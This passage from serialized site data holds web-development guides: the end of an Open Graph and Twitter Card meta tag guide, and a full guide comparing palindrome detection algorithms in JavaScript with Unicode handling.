lookups.",[11,161597,161599],{"id":161598},"twitter-card-tags","Twitter Card Tags",[16,161601,161602],{},"Twitter (now X) has its own meta tag system called Twitter Cards. While modern Twitter also reads OG tags, explicit Twitter Card tags give you more control and avoid edge-case fallback issues.",[16,161604,161605],{},"Two card types matter:",[193,161607,161608,161619],{},[196,161609,161610],{},[199,161611,161612,161615,161617],{},[202,161613,161614],{},"Card Type",[202,161616,77416],{},[202,161618,55330],{},[211,161620,161621,161634],{},[199,161622,161623,161628,161631],{},[216,161624,161625],{},[143,161626,161627],{},"summary",[216,161629,161630],{},"Small square thumbnail on the left",[216,161632,161633],{},"Articles, generic pages",[199,161635,161636,161641,161644],{},[216,161637,161638],{},[143,161639,161640],{},"summary_large_image",[216,161642,161643],{},"Large image spanning full width",[216,161645,161646],{},"Visual content, tools, products",[135,161648,161650],{"className":6417,"code":161649,"language":6419,"meta":141,"style":141},"\u003C!-- summary_large_image — best for tools and products -->\n\u003Cmeta name=\"twitter:card\" content=\"summary_large_image\">\n\u003Cmeta name=\"twitter:title\" content=\"JSON Formatter Online - Free Tool\">\n\u003Cmeta name=\"twitter:description\" content=\"Format and validate JSON instantly.\">\n\u003Cmeta name=\"twitter:image\" content=\"https:\u002F\u002Fexample.com\u002Fimages\u002Fog-json-formatter.png\">\n",[143,161651,161652,161657,161679,161700,161721],{"__ignoreMap":141},[1560,161653,161654],{"class":1562,"line":1563},[1560,161655,161656],{"class":1649},"\u003C!-- summary_large_image — best for tools and products -->\n",[1560,161658,161659,161661,161663,161665,161667,161670,161672,161674,161677],{"class":1562,"line":337},[1560,161660,6431],{"class":1570},[1560,161662,108827],{"class":2484},[1560,161664,108846],{"class":1566},[1560,161666,7297],{"class":1570},[1560,161668,161669],{"class":5634},"\"twitter:card\"",[1560,161671,108854],{"class":1566},[1560,161673,7297],{"class":1570},[1560,161675,161676],{"class":5634},"\"summary_large_image\"",[1560,161678,6441],{"class":1570},[1560,161680,161681,161683,161685,161687,161689,161692,161694,161696,161698],{"class":1562,"line":343},[1560,161682,6431],{"class":1570},[1560,161684,108827],{"class":2484},[1560,161686,108846],{"class":1566},[1560,161688,7297],{"class":1570},[1560,161690,161691],{"class":5634},"\"twitter:title\"",[1560,161693,108854],{"class":1566},[1560,161695,7297],{"class":1570},[1560,161697,161136],{"class":5634},[1560,161699,6441],{"class":1570},[1560,161701,161702,161704,161706,161708,161710,161713,161715,161717,161719],{"class":1562,"line":365},[1560,161703,6431],{"class":1570},[1560,161705,108827],{"class":2484},[1560,161707,108846],{"class":1566},[1560,161709,7297],{"class":1570},[1560,161711,161712],{"class":5634},"\"twitter:description\"",[1560,161714,108854],{"class":1566},[1560,161716,7297],{"class":1570},[1560,161718,161149],{"class":5634},[1560,161720,6441],{"class":1570},[1560,161722,161723,161725,161727,161729,161731,161734,161736,161738,161740],{"class":1562,"line":889},[1560,161724,6431],{"class":1570},[1560,161726,108827],{"class":2484},[1560,161728,108846],{"class":1566},[1560,161730,7297],{"class":1570},[1560,161732,161733],{"class":5634},"\"twitter:image\"",[1560,161735,108854],{"class":1566},[1560,161737,7297],{"class":1570},[1560,161739,161517],{"class":5634},[1560,161741,6441],{"class":1570},[16,161743,161744,161750],{},[47,161745,161746,161747,117130],{},"Always set ",[143,161748,161749],{},"twitter:card"," The card type determines how Twitter interprets all other tags. Without it, Twitter ignores your other Twitter meta tags entirely.",[16,161752,161753,161754,1531,161757,161760,161761,1856,161763,161765],{},"If you omit ",[143,161755,161756],{},"twitter:title",[143,161758,161759],{},"twitter:image",", Twitter falls back to ",[143,161762,161130],{},[143,161764,161156],{},". This works most of the time, but defining both sets eliminates ambiguity.",[11,161767,161769],{"id":161768},"testing-and-debugging-og-tags","Testing and Debugging OG Tags",[16,161771,161772],{},"Never publish OG tags without testing them. Each platform caches previews aggressively — fixing mistakes after deployment often requires cache-busting.",[33,161774,161776],{"id":161775},"facebook-sharing-debugger","Facebook Sharing Debugger",[16,161778,161779,161780,161785],{},"Visit ",[98,161781,161784],{"href":161782,"rel":161783},"https:\u002F\u002Fdevelopers.facebook.com\u002Ftools\u002Fdebug\u002F",[14956],"developers.facebook.com\u002Ftools\u002Fdebug\u002F"," and enter your URL. It shows exactly what Facebook renders, including warnings for missing or malformed tags. Click \"Scrape Again\" to force a cache refresh.",[33,161787,161789],{"id":161788},"linkedin-post-inspector","LinkedIn Post Inspector",[16,161791,161792,161793,161798],{},"Go to ",[98,161794,161797],{"href":161795,"rel":161796},"https:\u002F\u002Fwww.linkedin.com\u002Fpost-inspector\u002F",[14956],"linkedin.com\u002Fpost-inspector\u002F"," to preview how LinkedIn displays your link. This tool also clears LinkedIn's cache.",[33,161800,161802],{"id":161801},"twitter-card-validator","Twitter Card Validator",[16,161804,1388,161805,161810],{},[98,161806,161809],{"href":161807,"rel":161808},"https:\u002F\u002Fcards-dev.twitter.com\u002Fvalidator",[14956],"cards-dev.twitter.com\u002Fvalidator"," to check your Twitter Card markup. Note: Twitter's tool sometimes requires login.",[33,161812,161814],{"id":161813},"general-tips","General Tips",[41,161816,161817,161823,161833],{},[44,161818,161819,161822],{},[47,161820,161821],{},"Test before launch"," — once a platform caches a broken preview, clearing it can take hours",[44,161824,161825,161828,161829,161832],{},[47,161826,161827],{},"Use query strings to bust cache"," — append ",[143,161830,161831],{},"?v=2"," to your URL when testing changes",[44,161834,161835,161838],{},[47,161836,161837],{},"Check HTTPS"," — mixed-content images (HTTP OG images on HTTPS pages) get blocked by most platforms",[11,161840,161842],{"id":161841},"common-og-tag-mistakes","Common OG Tag Mistakes",[41,161844,161845,161852,161861,161867,161874,161884,161890],{},[44,161846,161847,161851],{},[47,161848,44890,161849],{},[143,161850,161156],{}," — the most impactful tag omitted most often; previews show blank thumbnails",[44,161853,161854,161857,161858,1525],{},[47,161855,161856],{},"Using relative image URLs"," — OG images must be absolute, including the protocol (",[143,161859,161860],{},"https:\u002F\u002F",[44,161862,161863,161866],{},[47,161864,161865],{},"Tiny or low-resolution images"," — anything under 600 × 315 looks blurry on desktop",[44,161868,161869,161873],{},[47,161870,54220,161871],{},[143,161872,161749],{}," — without it, Twitter ignores every other Twitter meta tag",[44,161875,161876,161880,161881,161883],{},[47,161877,53517,161878],{},[143,161879,161289],{}," — platforms default to ",[143,161882,161293],{},", which may strip article-specific features",[44,161885,161886,161889],{},[47,161887,161888],{},"Stale cached previews"," — after updating OG tags, the old version may persist for days without manual cache clearing",[44,161891,161892,161895],{},[47,161893,161894],{},"Images behind authentication"," — crawlers cannot access login-protected images, so previews break",[11,161897,1355],{"id":1354},[41,161899,161900,161912,161915,161925,161930,161933],{},[44,161901,161902,161903,1459,161905,1459,161907,1466,161909,161911],{},"Include ",[143,161904,161130],{},[143,161906,161143],{},[143,161908,161156],{},[143,161910,161171],{}," on every page",[44,161913,161914],{},"Use 1200 × 630 pixel images with text in the center 80% safety zone",[44,161916,1943,161917,5255,161919,161921,161922,161924],{},[143,161918,161289],{},[143,161920,161323],{}," for blog posts and ",[143,161923,161293],{}," for tool pages",[44,161926,74771,161927,161929],{},[143,161928,161749],{}," — it activates all other Twitter Card tags",[44,161931,161932],{},"Test previews with Facebook Debugger, LinkedIn Inspector, and Twitter Validator before launch",[44,161934,161935],{},"Use absolute HTTPS URLs for all OG image paths",[11,161937,286],{"id":285},[16,161939,161940,161941,161943],{},"Build your OG and Twitter Card tags the easy way with our free ",[98,161942,152836],{"href":152835},". Fill in your content details and copy the complete HTML snippet — includes Open Graph, Twitter Cards, and standard SEO meta tags.",[11,161945,321],{"id":320},[41,161947,161948,161952],{},[44,161949,161950],{},[98,161951,152262],{"href":152871},[44,161953,161954],{},[98,161955,152853],{"href":152852},[2043,161957,13345],{},{"title":141,"searchDepth":337,"depth":337,"links":161959},[161960,161961,161962,161963,161964,161965,161971,161972,161973,161974],{"id":161095,"depth":337,"text":161096},{"id":161105,"depth":337,"text":161106},{"id":161283,"depth":337,"text":161284},{"id":161465,"depth":337,"text":161466},{"id":161598,"depth":337,"text":161599},{"id":161768,"depth":337,"text":161769,"children":161966},[161967,161968,161969,161970],{"id":161775,"depth":343,"text":161776},{"id":161788,"depth":343,"text":161789},{"id":161801,"depth":343,"text":161802},{"id":161813,"depth":343,"text":161814},{"id":161841,"depth":337,"text":161842},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Complete guide to Open Graph meta tags — control how your content appears when shared on Facebook, LinkedIn, and more.",{"immutable":363},{"title":152847,"description":161975},"guides\u002Fopen-graph-tags-guide","e5znqxINbtA2HTO1zvP9Dchf6_VD4Khq5d-yL_tpF0k",{"id":161981,"title":161982,"body":161983,"date":2070,"description":162847,"extension":361,"meta":162848,"navigation":363,"path":162849,"readingTime":1710,"seo":162850,"stem":162851,"__hash__":162852},"guides\u002Fguides\u002Fpalindrome-detection-algorithms.md","Palindrome Detection Algorithms: Techniques and Trade-offs",{"type":8,"value":161984,"toc":162836},[161985,161988,161992,161995,162060,162067,162070,162074,162077,162188,162191,162194,162198,162201,162406,162409,162413,162416,162490,162493,162510,162603,162606,162610,162613,162707,162710,162714,162779,162782,162784,162807,162809,162826,162828,162834],[16,161986,161987],{},"A palindrome reads the same forward and backward — \"racecar\", \"madam\", and \"A man, a plan, a canal: Panama\" are all palindromes. Detecting them is a classic programming exercise, but the problem reveals interesting trade-offs in algorithm design, character handling, and real-world text processing.",[11,161989,161991],{"id":161990},"the-naive-approach-reverse-and-compare","The Naive Approach: Reverse and Compare",[16,161993,161994],{},"The simplest algorithm reverses the string and checks for equality:",[135,161996,161998],{"className":1607,"code":161997,"language":1609,"meta":141,"style":141},"function isPalindrome(str) {\n  const reversed = str.split('').reverse().join('')\n  return str === reversed\n}\n",[143,161999,162000,162013,162044,162056],{"__ignoreMap":141},[1560,162001,162002,162004,162007,162009,162011],{"class":1562,"line":1563},[1560,162003,8648],{"class":1669},[1560,162005,162006],{"class":1566}," isPalindrome",[1560,162008,1688],{"class":1570},[1560,162010,38740],{"class":2219},[1560,162012,9345],{"class":1570},[1560,162014,162015,162017,162020,162022,162024,162026,162028,162030,162032,162034,162036,162038,162040,162042],{"class":1562,"line":337},[1560,162016,28057],{"class":1669},[1560,162018,162019],{"class":1576}," reversed",[1560,162021,8186],{"class":1669},[1560,162023,38842],{"class":1570},[1560,162025,9356],{"class":1566},[1560,162027,1688],{"class":1570},[1560,162029,5635],{"class":5634},[1560,162031,9368],{"class":1570},[1560,162033,78407],{"class":1566},[1560,162035,42138],{"class":1570},[1560,162037,9459],{"class":1566},[1560,162039,1688],{"class":1570},[1560,162041,5635],{"class":5634},[1560,162043,8252],{"class":1570},[1560,162045,162046,162048,162051,162053],{"class":1562,"line":343},[1560,162047,9350],{"class":1669},[1560,162049,162050],{"class":1570}," str ",[1560,162052,23122],{"class":1669},[1560,162054,162055],{"class":1570}," reversed\n",[1560,162057,162058],{"class":1562,"line":365},[1560,162059,1585],{"class":1570},[16,162061,162062,162063,162066],{},"This works for clean inputs like ",[143,162064,162065],{},"\"racecar\"",", but fails on real-world text that includes spaces, punctuation, and mixed case. It also creates a full copy of the string, using O(n) extra memory.",[16,162068,162069],{},"Time complexity: O(n). Space complexity: O(n).",[11,162071,162073],{"id":162072},"the-two-pointer-technique","The Two-Pointer Technique",[16,162075,162076],{},"A more efficient approach uses two pointers — one starting at the beginning, one at the end — moving inward and comparing characters:",[135,162078,162080],{"className":1607,"code":162079,"language":1609,"meta":141,"style":141},"function isPalindrome(str) {\n  let left = 0\n  let right = str.length - 1\n\n  while (left \u003C right) {\n    if (str[left] !== str[right]) return false\n    left++\n    right--\n  }\n\n  return true\n}\n",[143,162081,162082,162094,162105,162122,162126,162138,162155,162162,162169,162173,162177,162184],{"__ignoreMap":141},[1560,162083,162084,162086,162088,162090,162092],{"class":1562,"line":1563},[1560,162085,8648],{"class":1669},[1560,162087,162006],{"class":1566},[1560,162089,1688],{"class":1570},[1560,162091,38740],{"class":2219},[1560,162093,9345],{"class":1570},[1560,162095,162096,162098,162101,162103],{"class":1562,"line":337},[1560,162097,38049],{"class":1669},[1560,162099,162100],{"class":1570}," left ",[1560,162102,7297],{"class":1669},[1560,162104,28274],{"class":1576},[1560,162106,162107,162109,162112,162114,162116,162118,162120],{"class":1562,"line":343},[1560,162108,38049],{"class":1669},[1560,162110,162111],{"class":1570}," right ",[1560,162113,7297],{"class":1669},[1560,162115,38842],{"class":1570},[1560,162117,9418],{"class":1576},[1560,162119,22908],{"class":1669},[1560,162121,28389],{"class":1576},[1560,162123,162124],{"class":1562,"line":365},[1560,162125,1702],{"emptyLinePlaceholder":363},[1560,162127,162128,162130,162133,162135],{"class":1562,"line":889},[1560,162129,38062],{"class":1669},[1560,162131,162132],{"class":1570}," (left ",[1560,162134,6431],{"class":1669},[1560,162136,162137],{"class":1570}," right) {\n",[1560,162139,162140,162142,162145,162147,162150,162152],{"class":1562,"line":1710},[1560,162141,11527],{"class":1669},[1560,162143,162144],{"class":1570}," (str[left] ",[1560,162146,13538],{"class":1669},[1560,162148,162149],{"class":1570}," str[right]) ",[1560,162151,28313],{"class":1669},[1560,162153,162154],{"class":1576}," false\n",[1560,162156,162157,162160],{"class":1562,"line":1717},[1560,162158,162159],{"class":1570},"    left",[1560,162161,89069],{"class":1669},[1560,162163,162164,162167],{"class":1562,"line":1747},[1560,162165,162166],{"class":1570},"    right",[1560,162168,88782],{"class":1669},[1560,162170,162171],{"class":1562,"line":2507},[1560,162172,4959],{"class":1570},[1560,162174,162175],{"class":1562,"line":2524},[1560,162176,1702],{"emptyLinePlaceholder":363},[1560,162178,162179,162181],{"class":1562,"line":2529},[1560,162180,9350],{"class":1669},[1560,162182,162183],{"class":1576}," true\n",[1560,162185,162186],{"class":1562,"line":2534},[1560,162187,1585],{"class":1570},[16,162189,162190],{},"This halves the number of comparisons and uses O(1) extra memory. No string copy is needed.",[16,162192,162193],{},"Time complexity: O(n). Space complexity: O(1).",[11,162195,162197],{"id":162196},"ignoring-non-alphanumeric-characters","Ignoring Non-Alphanumeric Characters",[16,162199,162200],{},"Real-world palindromes like \"A man, a plan, a canal: Panama\" contain spaces and punctuation that should be ignored. You can handle this by preprocessing the string or by skipping non-alphanumeric characters in the two-pointer loop:",[135,162202,162204],{"className":1607,"code":162203,"language":1609,"meta":141,"style":141},"function isPalindrome(str) {\n  let left = 0\n  let right = str.length - 1\n\n  while (left \u003C right) {\n    while (left \u003C right && !isAlphaNumeric(str[left])) left++\n    while (left \u003C right && !isAlphaNumeric(str[right])) right--\n\n    if (str[left].toLowerCase() !== str[right].toLowerCase()) return false\n\n    left++\n    right--\n  }\n\n  return true\n}\n\nfunction isAlphaNumeric(char) {\n  return \u002F[a-z0-9]\u002Fi.test(char)\n}\n",[143,162205,162206,162218,162228,162244,162248,162258,162281,162302,162306,162331,162335,162341,162347,162351,162355,162361,162365,162369,162382,162402],{"__ignoreMap":141},[1560,162207,162208,162210,162212,162214,162216],{"class":1562,"line":1563},[1560,162209,8648],{"class":1669},[1560,162211,162006],{"class":1566},[1560,162213,1688],{"class":1570},[1560,162215,38740],{"class":2219},[1560,162217,9345],{"class":1570},[1560,162219,162220,162222,162224,162226],{"class":1562,"line":337},[1560,162221,38049],{"class":1669},[1560,162223,162100],{"class":1570},[1560,162225,7297],{"class":1669},[1560,162227,28274],{"class":1576},[1560,162229,162230,162232,162234,162236,162238,162240,162242],{"class":1562,"line":343},[1560,162231,38049],{"class":1669},[1560,162233,162111],{"class":1570},[1560,162235,7297],{"class":1669},[1560,162237,38842],{"class":1570},[1560,162239,9418],{"class":1576},[1560,162241,22908],{"class":1669},[1560,162243,28389],{"class":1576},[1560,162245,162246],{"class":1562,"line":365},[1560,162247,1702],{"emptyLinePlaceholder":363},[1560,162249,162250,162252,162254,162256],{"class":1562,"line":889},[1560,162251,38062],{"class":1669},[1560,162253,162132],{"class":1570},[1560,162255,6431],{"class":1669},[1560,162257,162137],{"class":1570},[1560,162259,162260,162263,162265,162267,162269,162271,162273,162276,162279],{"class":1562,"line":1710},[1560,162261,162262],{"class":1669},"    while",[1560,162264,162132],{"class":1570},[1560,162266,6431],{"class":1669},[1560,162268,162111],{"class":1570},[1560,162270,114154],{"class":1669},[1560,162272,26754],{"class":1669},[1560,162274,162275],{"class":1566},"isAlphaNumeric",[1560,162277,162278],{"class":1570},"(str[left])) left",[1560,162280,89069],{"class":1669},[1560,162282,162283,162285,162287,162289,162291,162293,162295,162297,162300],{"class":1562,"line":1717},[1560,162284,162262],{"class":1669},[1560,162286,162132],{"class":1570},[1560,162288,6431],{"class":1669},[1560,162290,162111],{"class":1570},[1560,162292,114154],{"class":1669},[1560,162294,26754],{"class":1669},[1560,162296,162275],{"class":1566},[1560,162298,162299],{"class":1570},"(str[right])) right",[1560,162301,88782],{"class":1669},[1560,162303,162304],{"class":1562,"line":1747},[1560,162305,1702],{"emptyLinePlaceholder":363},[1560,162307,162308,162310,162313,162315,162317,162319,162322,162324,162327,162329],{"class":1562,"line":2507},[1560,162309,11527],{"class":1669},[1560,162311,162312],{"class":1570}," (str[left].",[1560,162314,38784],{"class":1566},[1560,162316,38111],{"class":1570},[1560,162318,13538],{"class":1669},[1560,162320,162321],{"class":1570}," str[right].",[1560,162323,38784],{"class":1566},[1560,162325,162326],{"class":1570},"()) ",[1560,162328,28313],{"class":1669},[1560,162330,162154],{"class":1576},[1560,162332,162333],{"class":1562,"line":2524},[1560,162334,1702],{"emptyLinePlaceholder":363},[1560,162336,162337,162339],{"class":1562,"line":2529},[1560,162338,162159],{"class":1570},[1560,162340,89069],{"class":1669},[1560,162342,162343,162345],{"class":1562,"line":2534},[1560,162344,162166],{"class":1570},[1560,162346,88782],{"class":1669},[1560,162348,162349],{"class":1562,"line":2542},[1560,162350,4959],{"class":1570},[1560,162352,162353],{"class":1562,"line":2558},[1560,162354,1702],{"emptyLinePlaceholder":363},[1560,162356,162357,162359],{"class":1562,"line":2570},[1560,162358,9350],{"class":1669},[1560,162360,162183],{"class":1576},[1560,162362,162363],{"class":1562,"line":6638},[1560,162364,1585],{"class":1570},[1560,162366,162367],{"class":1562,"line":11615},[1560,162368,1702],{"emptyLinePlaceholder":363},[1560,162370,162371,162373,162376,162378,162380],{"class":1562,"line":11621},[1560,162372,8648],{"class":1669},[1560,162374,162375],{"class":1566}," isAlphaNumeric",[1560,162377,1688],{"class":1570},[1560,162379,22738],{"class":2219},[1560,162381,9345],{"class":1570},[1560,162383,162384,162386,162388,162391,162393,162395,162397,162399],{"class":1562,"line":11633},[1560,162385,9350],{"class":1669},[1560,162387,11912],{"class":5634},[1560,162389,162390],{"class":1576},"[a-z0-9]",[1560,162392,9423],{"class":5634},[1560,162394,7975],{"class":1669},[1560,162396,468],{"class":1570},[1560,162398,98998],{"class":1566},[1560,162400,162401],{"class":1570},"(char)\n",[1560,162403,162404],{"class":1562,"line":11638},[1560,162405,1585],{"class":1570},[16,162407,162408],{},"This handles mixed case, spaces, and punctuation without creating a filtered copy of the string.",[11,162410,162412],{"id":162411},"unicode-considerations","Unicode Considerations",[16,162414,162415],{},"JavaScript strings use UTF-16 encoding. Characters outside the Basic Multilingual Plane (emoji, some CJK characters) are represented as surrogate pairs. Naive reversal breaks these characters:",[135,162417,162419],{"className":1607,"code":162418,"language":1609,"meta":141,"style":141},"\u002F\u002F Broken: splits surrogate pairs\n'top🥞pot'.split('').reverse().join('')  \u002F\u002F 'top��pot' (broken pancake emoji)\n\n\u002F\u002F Correct: use Array.from or spread syntax\n[...'top🥞pot'].reverse().join('')  \u002F\u002F 'top🥞pot' (intact)\n",[143,162420,162421,162426,162456,162460,162465],{"__ignoreMap":141},[1560,162422,162423],{"class":1562,"line":1563},[1560,162424,162425],{"class":1649},"\u002F\u002F Broken: splits surrogate pairs\n",[1560,162427,162428,162431,162433,162435,162437,162439,162441,162443,162445,162447,162449,162451,162453],{"class":1562,"line":337},[1560,162429,162430],{"class":5634},"'top🥞pot'",[1560,162432,468],{"class":1570},[1560,162434,9356],{"class":1566},[1560,162436,1688],{"class":1570},[1560,162438,5635],{"class":5634},[1560,162440,9368],{"class":1570},[1560,162442,78407],{"class":1566},[1560,162444,42138],{"class":1570},[1560,162446,9459],{"class":1566},[1560,162448,1688],{"class":1570},[1560,162450,5635],{"class":5634},[1560,162452,10060],{"class":1570},[1560,162454,162455],{"class":1649},"\u002F\u002F 'top��pot' (broken pancake emoji)\n",[1560,162457,162458],{"class":1562,"line":343},[1560,162459,1702],{"emptyLinePlaceholder":363},[1560,162461,162462],{"class":1562,"line":365},[1560,162463,162464],{"class":1649},"\u002F\u002F Correct: use Array.from or spread syntax\n",[1560,162466,162467,162469,162471,162473,162475,162477,162479,162481,162483,162485,162487],{"class":1562,"line":889},[1560,162468,24385],{"class":1570},[1560,162470,24388],{"class":1669},[1560,162472,162430],{"class":5634},[1560,162474,24393],{"class":1570},[1560,162476,78407],{"class":1566},[1560,162478,42138],{"class":1570},[1560,162480,9459],{"class":1566},[1560,162482,1688],{"class":1570},[1560,162484,5635],{"class":5634},[1560,162486,10060],{"class":1570},[1560,162488,162489],{"class":1649},"\u002F\u002F 'top🥞pot' (intact)\n",[16,162491,162492],{},"For palindrome detection, the two-pointer approach naturally handles surrogate pairs because it compares characters from the outside in without reversing.",[16,162494,162495,162496,162498,162499,162502,162503,162505,162506,162509],{},"However, Unicode normalization adds another layer. The character ",[143,162497,24101],{}," can be represented as a single code point (",[143,162500,162501],{},"U+00E9",") or as ",[143,162504,96224],{}," + combining accent (",[143,162507,162508],{},"U+0065 U+0301","). These look identical but are not equal in string comparison:",[135,162511,162513],{"className":1607,"code":162512,"language":1609,"meta":141,"style":141},"const a = '\\u00E9'       \u002F\u002F é (precomposed)\nconst b = 'e\\u0301'      \u002F\u002F é (decomposed)\na === b                  \u002F\u002F false!\n\n\u002F\u002F Normalize before comparing\na.normalize('NFC') === b.normalize('NFC')  \u002F\u002F true\n",[143,162514,162515,162533,162552,162565,162569,162574],{"__ignoreMap":141},[1560,162516,162517,162519,162521,162523,162525,162528,162530],{"class":1562,"line":1563},[1560,162518,8180],{"class":1669},[1560,162520,42339],{"class":1576},[1560,162522,8186],{"class":1669},[1560,162524,9507],{"class":5634},[1560,162526,162527],{"class":1576},"\\u00E9",[1560,162529,9361],{"class":5634},[1560,162531,162532],{"class":1649},"       \u002F\u002F é (precomposed)\n",[1560,162534,162535,162537,162539,162541,162544,162547,162549],{"class":1562,"line":337},[1560,162536,8180],{"class":1669},[1560,162538,42366],{"class":1576},[1560,162540,8186],{"class":1669},[1560,162542,162543],{"class":5634}," 'e",[1560,162545,162546],{"class":1576},"\\u0301",[1560,162548,9361],{"class":5634},[1560,162550,162551],{"class":1649},"      \u002F\u002F é (decomposed)\n",[1560,162553,162554,162557,162559,162562],{"class":1562,"line":343},[1560,162555,162556],{"class":1570},"a ",[1560,162558,23122],{"class":1669},[1560,162560,162561],{"class":1570}," b                  ",[1560,162563,162564],{"class":1649},"\u002F\u002F false!\n",[1560,162566,162567],{"class":1562,"line":365},[1560,162568,1702],{"emptyLinePlaceholder":363},[1560,162570,162571],{"class":1562,"line":889},[1560,162572,162573],{"class":1649},"\u002F\u002F Normalize before comparing\n",[1560,162575,162576,162579,162582,162584,162587,162589,162591,162593,162595,162597,162599,162601],{"class":1562,"line":1710},[1560,162577,162578],{"class":1570},"a.",[1560,162580,162581],{"class":1566},"normalize",[1560,162583,1688],{"class":1570},[1560,162585,162586],{"class":5634},"'NFC'",[1560,162588,1733],{"class":1570},[1560,162590,23122],{"class":1669},[1560,162592,42211],{"class":1570},[1560,162594,162581],{"class":1566},[1560,162596,1688],{"class":1570},[1560,162598,162586],{"class":5634},[1560,162600,10060],{"class":1570},[1560,162602,101150],{"class":1649},[16,162604,162605],{},"For palindrome checking of user-submitted text, normalize the input first.",[11,162607,162609],{"id":162608},"recursive-approach","Recursive Approach",[16,162611,162612],{},"Palindrome detection can be expressed recursively — a string is a palindrome if its first and last characters match and the substring between them is also a palindrome:",[135,162614,162616],{"className":1607,"code":162615,"language":1609,"meta":141,"style":141},"function isPalindrome(str, left = 0, right = str.length - 1) {\n  if (left >= right) return true\n  if (str[left] !== str[right]) return false\n  return isPalindrome(str, left + 1, right - 1)\n}\n",[143,162617,162618,162652,162667,162681,162703],{"__ignoreMap":141},[1560,162619,162620,162622,162624,162626,162628,162630,162632,162634,162636,162638,162640,162642,162644,162646,162648,162650],{"class":1562,"line":1563},[1560,162621,8648],{"class":1669},[1560,162623,162006],{"class":1566},[1560,162625,1688],{"class":1570},[1560,162627,38740],{"class":2219},[1560,162629,1459],{"class":1570},[1560,162631,45290],{"class":2219},[1560,162633,8186],{"class":1669},[1560,162635,13541],{"class":1576},[1560,162637,1459],{"class":1570},[1560,162639,63355],{"class":2219},[1560,162641,8186],{"class":1669},[1560,162643,38842],{"class":1570},[1560,162645,9418],{"class":1576},[1560,162647,22908],{"class":1669},[1560,162649,18868],{"class":1576},[1560,162651,9345],{"class":1570},[1560,162653,162654,162656,162658,162660,162663,162665],{"class":1562,"line":337},[1560,162655,27984],{"class":1669},[1560,162657,162132],{"class":1570},[1560,162659,90127],{"class":1669},[1560,162661,162662],{"class":1570}," right) ",[1560,162664,28313],{"class":1669},[1560,162666,162183],{"class":1576},[1560,162668,162669,162671,162673,162675,162677,162679],{"class":1562,"line":343},[1560,162670,27984],{"class":1669},[1560,162672,162144],{"class":1570},[1560,162674,13538],{"class":1669},[1560,162676,162149],{"class":1570},[1560,162678,28313],{"class":1669},[1560,162680,162154],{"class":1576},[1560,162682,162683,162685,162687,162690,162692,162694,162697,162699,162701],{"class":1562,"line":365},[1560,162684,9350],{"class":1669},[1560,162686,162006],{"class":1566},[1560,162688,162689],{"class":1570},"(str, left ",[1560,162691,9448],{"class":1669},[1560,162693,18868],{"class":1576},[1560,162695,162696],{"class":1570},", right ",[1560,162698,9412],{"class":1669},[1560,162700,18868],{"class":1576},[1560,162702,8252],{"class":1570},[1560,162704,162705],{"class":1562,"line":889},[1560,162706,1585],{"class":1570},[16,162708,162709],{},"This is elegant but risks stack overflow on very long strings (JavaScript's call stack limit is typically around 10,000–25,000 frames). The iterative two-pointer approach is safer for production use.",[11,162711,162713],{"id":162712},"comparative-summary","Comparative Summary",[193,162715,162716,162728],{},[196,162717,162718],{},[199,162719,162720,162722,162724,162726],{},[202,162721,6081],{},[202,162723,132388],{},[202,162725,6093],{},[202,162727,2683],{},[211,162729,162730,162742,162754,162766],{},[199,162731,162732,162735,162737,162739],{},[216,162733,162734],{},"Reverse and compare",[216,162736,6131],{},[216,162738,6131],{},[216,162740,162741],{},"Simple, allocates copy",[199,162743,162744,162747,162749,162751],{},[216,162745,162746],{},"Two-pointer",[216,162748,6131],{},[216,162750,6147],{},[216,162752,162753],{},"Best for most use cases",[199,162755,162756,162759,162761,162763],{},[216,162757,162758],{},"Two-pointer with skip",[216,162760,6131],{},[216,162762,6147],{},[216,162764,162765],{},"Handles punctuation\u002Fcase",[199,162767,162768,162771,162773,162776],{},[216,162769,162770],{},"Recursive",[216,162772,6131],{},[216,162774,162775],{},"O(n) stack",[216,162777,162778],{},"Elegant, stack overflow risk",[16,162780,162781],{},"For most practical applications, the two-pointer approach with character skipping strikes the best balance of clarity, performance, and correctness.",[11,162783,1355],{"id":1354},[41,162785,162786,162789,162792,162798,162801,162804],{},[44,162787,162788],{},"The two-pointer technique detects palindromes in O(n) time with O(1) space — no string copy needed",[44,162790,162791],{},"Real-world palindrome checking must handle case, spaces, and punctuation by skipping non-alphanumeric characters",[44,162793,162794,162795,162797],{},"UTF-16 surrogate pairs break naive string reversal — use ",[143,162796,24348],{}," or spread syntax",[44,162799,162800],{},"Unicode normalization (NFC) ensures accented characters compare correctly",[44,162802,162803],{},"Recursive approaches are elegant but risk stack overflow on long strings",[44,162805,162806],{},"The two-pointer method with character skipping is the best general-purpose solution",[11,162808,321],{"id":320},[41,162810,162811,162816,162821],{},[44,162812,162813],{},[98,162814,162815],{"href":155325},"Text Reversal Techniques: Methods and Applications",[44,162817,162818],{},[98,162819,162820],{"href":155367},"Mirror Text Guide: How Reversed Text Works",[44,162822,162823],{},[98,162824,162825],{"href":155332},"Text Manipulation Tools: A Practical Overview",[11,162827,286],{"id":285},[16,162829,162830,162831,162833],{},"Test your strings instantly with our free ",[98,162832,155315],{"href":155314}," tool. Enter any text, see it reversed — and discover palindromes by comparing the original and reversed output side by side.",[2043,162835,38457],{},{"title":141,"searchDepth":337,"depth":337,"links":162837},[162838,162839,162840,162841,162842,162843,162844,162845,162846],{"id":161990,"depth":337,"text":161991},{"id":162072,"depth":337,"text":162073},{"id":162196,"depth":337,"text":162197},{"id":162411,"depth":337,"text":162412},{"id":162608,"depth":337,"text":162609},{"id":162712,"depth":337,"text":162713},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Explore palindrome detection algorithms — from simple string reversal to two-pointer techniques and Unicode-aware approaches with practical code examples.",{"immutable":363},"\u002Fguides\u002Fpalindrome-detection-algorithms",{"title":161982,"description":162847},"guides\u002Fpalindrome-detection-algorithms","lkd8rYAtpJGMjpbx6ufNTUqUR2fSQfqUZEIT_z7-TWY",{"id":162854,"title":162855,"body":162856,"date":2070,"description":163736,"extension":361,"meta":163737,"navigation":363,"path":163738,"readingTime":1710,"seo":163739,"stem":163740,"__hash__":163741},"guides\u002Fguides\u002Fpascalcase-component-naming.md","PascalCase for Component 